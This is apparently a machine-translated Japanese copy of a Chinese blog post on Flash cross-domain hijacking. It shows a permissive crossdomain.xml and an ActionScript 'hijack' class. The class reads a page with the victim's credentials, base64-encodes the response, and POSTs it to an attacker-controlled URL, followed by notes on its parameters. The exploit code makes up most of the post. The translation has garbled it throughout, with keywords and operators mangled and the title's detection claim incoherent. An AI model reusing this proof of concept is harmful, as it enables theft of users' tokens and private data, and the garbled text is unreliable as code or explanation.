どのようなフラッシュフラッシュハイジャックの問題を検出するために、どのように?

  アドビシステムズ社が取得したWeb、同社の標準インタラクティブベクトルグラフィックスとアニメーションが立ち上げたフラッシュマクロメディア。Flashアニメーションの人々はフラッシャーと呼ばれます。
  フラッシュ乗っ取りの問題かどうかを検出する方法は?
  IIS7のウェブサイトの監視は、
  フラッシュハイジャックを検出することができ、汚染のウェブサイトをハイジャック。
  フラッシュハイジャック
  、我々は独自にWWWへのアクセスを、時間を特定のユーザーまたはユーザーのトークン情報がある、インタフェースまたはページ応答内容を見つけ、SRCの脆弱性を掘る。**。com / crossdomain.xmlの
  <クロスドメイン-policy>
  <からドメイン= "* qq.com。" />アクセス許可
  から-許可アクセスドメイン= "* gtimg.com。" /> <
  </ -クロスドメインポリシー>
  このような状況の存在、 。comに転送**あなたが絵がユーザー権限を乗っ取ることができますアップロードできます。
  ハイジャック出典:
  パッケージ{
  インポートflash.display.Sprite;
  インポートflash.events.Event;
  インポート* ;.に、flash.net
  インポートたflash.utils.ByteArrayを、
  インポートするflash.text.TextField;


  プライベート静的定数_encodeChars:ベクトル<整数> = _initEncoreChar();
  パブリック関数ハイジャック()
  {
  VARのparamsは:オブジェクト= root.loaderInfo.parameters。
  VaRのJPG:URLRequestの=新しいのURLRequest(params.jpg)。
  jpg.method = URLRequestMethod.GET。
  sendToURL(JPG)。
  VAR要求:URLRequestの=新しいのURLRequest(params.get)。
  request.method = URLRequestMethod.GET。
  VARローダー:URLLoaderクラス=新しいURLLoaderクラス();
  loader.addEventListener(Event.COMPLETE、によってcompleteHandler)。
  関数によってcompleteHandler(イベント:イベント):ボイド{
  VARデータ:文字列=(loader.data)。
  VaRのpostURLrequest:URLRequestの=新しいのURLRequest(params.post)。
  postURLrequest.method = URLRequestMethod.POST;
  VaRのPOSTDATA:オブジェクト=新しい配列();
  POSTDATA [0] =エンコード(データ)。
  postURLrequest.data = POSTDATA [0]。
  sendToURL(postURLrequest)。
  }
  loader.load(リクエスト)。
  }
  パブリック静的関数エンコード(データ:文字列):文字列{
  VARバイト:たByteArray =新規のByteArray();
  bytes.writeUTFBytes(データ)。
  encodeByteArray(バイト)を返します。
  }
  パブリック静的関数encodeByteArray(データ:のByteArray):文字列{
  VARアウト:のByteArray =新規のByteArray();
  //長さがメモリ小さく維持し、何が必要な"成長"が存在しないので、速度を最適化プリセット
  out.length =(2 + data.length - ((data.length + 2)%3))* 4月3日。// 1.5ミリ秒にプリセット長//1.6
  VAR I:int型= 0;
  VaRのR:INT = data.length%3。
  VaRのLEN:INT = data.length - R。
  VaRのC:UINT; //読み込み(3)文字とwrite(4)文字
  のvar OUTPOS:int型= 0;
  (私がlen <){一方
  // 3つの文字(8ビット×3 = 24ビット)を読む
  | C =データ[INT(iは++)] << 16 データ[INT(私は++)] << 8 | データ[INT(iは++)]。
  OUT [INT(OUTPOS ++)] = _encodeChars [INT(C >>> 18)]。
  OUT [INT(OUTPOS ++)] = _encodeChars [INT(C >>> 12&0x3fを)]。
  OUT [INT(OUTPOS ++)] = _encodeChars [INT(C >>> 6&0x3fを)]。
  OUT [INT(OUTPOS ++)] = _encodeChars [INT(C&0x3fを)]。
  }
  //必要がある2つの"="パディング
  IF(R == 1){
  //、1つの文字を読む2つの文字を書き、パディングライト
  Cを=データ[INT(I)]。
  OUT [INT(OUTPOS ++)] = _encodeChars [INT(C >>> 2)]。
  OUT [INT(OUTPOS ++)] = _encodeChars [INT((C&0×03)<< 4)]。
  OUT [INT(OUTPOS ++)] = 61。
  OUT [INT(OUTPOS ++)] = 61。
  }
  //必要がある1つ"="パディング
  もしそうでなければ(R == 2){
  C =データ[INT(iは++)] << 8 | データ[INT(I)]。
  OUT [INT(OUTPOS ++)] = _encodeChars [INT(C >>> 10)]。
  OUT [INT(OUTPOS ++)] = _encodeChars [INT(C >>> 4&0x3fを)]。
  OUT [INT(OUTPOS ++)] = _encodeChars [INT((C&0x0Fの)<< 2)]。
  OUT [INT(OUTPOS ++)] = 61。
  }
  戻りout.readUTFBytes(out.length)。
  }
  プライベート静的関数_initEncoreChar():ベクター<整数> {
  VARのencodeChars:ベクトル<整数> =新しいベクトル<。
  私たちは、直接番号を押してもらえ//
  //しかし、私はそれは(エンコード/デコードON NOオーバーヘッドで)文字を参照するためにニースをAPOS考える
  VARの文字を:文字列= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 + /";
  (VAR I用:int型= 0;私は64を< ; I ++){
  encodeChars [I]は= chars.charCodeAt(I);
  }
  戻りencodeChars;
  }
  }
  }
  パラメータ:
  JPG:荷役優先のcrossdomain.xml用画像領域(ハイジャックまたは遅いローディングインタフェースできない原因ハイジャックは)
  GET:ハイジャックインタフェースまたはページの
  ポスト:ページのハイジャックを介して受信はbase64で伝送されます

おすすめ

転載: www.cnblogs.com/goodcola/p/11527038.html